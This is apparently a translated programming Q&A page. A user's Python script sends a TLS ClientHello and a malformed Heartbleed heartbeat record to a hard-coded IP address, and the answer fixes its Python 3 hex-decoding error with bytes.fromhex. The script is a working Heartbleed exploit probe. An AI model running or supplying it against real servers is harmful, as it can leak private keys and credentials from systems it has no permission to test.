python - 使用 heartbleed python scirpt 解码错误
问题描述
我在网上寻找 hertbleed ssl 漏洞,从 Sans 网上想出了一个简单的代码:
import socket
sh=socket.socket()
sh.connect(("54.217.122.251",443))
sh.send("16030200310100002d0302500bafbbb75ab83ef0ab9ae3f39c6315334137acfd6c181a2460dc4967c2fd960000040033c01101000000".decode('hex'))
helloresponse=sh.recv(8196)
sh.send("1803020003014000".decode('hex'))
data=sh.recv(8196)
此代码仅使用 python decode 将解码格式的 Hello 消息发送到 SSL 服务器,以查找服务器是否容易受到 Heartbleed 漏洞的影响。但是当我在 python 3.7 中运行此代码时,它显示如下错误:
sh.send("16030200310100002d0302500bafbbb75ab83ef0ab9ae3f39c6315334137acfd6c181a2460dc4967c2fd960000040033c01101000000".decode('hex'))
AttributeError: 'str' object has no attribute 'decode'
注意:尝试使用另一个 IP 地址,而不是本文中使用的
解决方案
从十六进制解码str
值在 Python 2 中工作:
>>> "1803020003014000".decode('hex')
'\x18\x03\x02\x00\x03\x01@\x00'
在 Python 3 中,您想使用bytes.fromhex:
>>> bytes.fromhex("1803020003014000")
b'\x18\x03\x02\x00\x03\x01@\x00'
推荐阅读
- windows - docker-compose useradd 告诉我用户已经存在
- node.js - 如何使用 FastCSV 识别不同的输入模式?
- node.js - 何时在 javascript 中使用 Redis 而不是 Map Object
- java - Vaadin Flow 是否支持 Spring-Boot Native
- excel - 查找最远包含特定值的电子表格底部的单元格
- firebase - 如何在flutter中从firestore开发饼图
- python - 在数据框中:如何使用 python 从 timedelta 中同时提取分钟和秒(mm:ss)
- php - SQL 语法错误;检查与您的 MariaDB 服务器版本 f 对应的手册
- mysql - 处理多对多表中的数据
- xml - Google 的多语言 xml 站点地图示例未正确呈现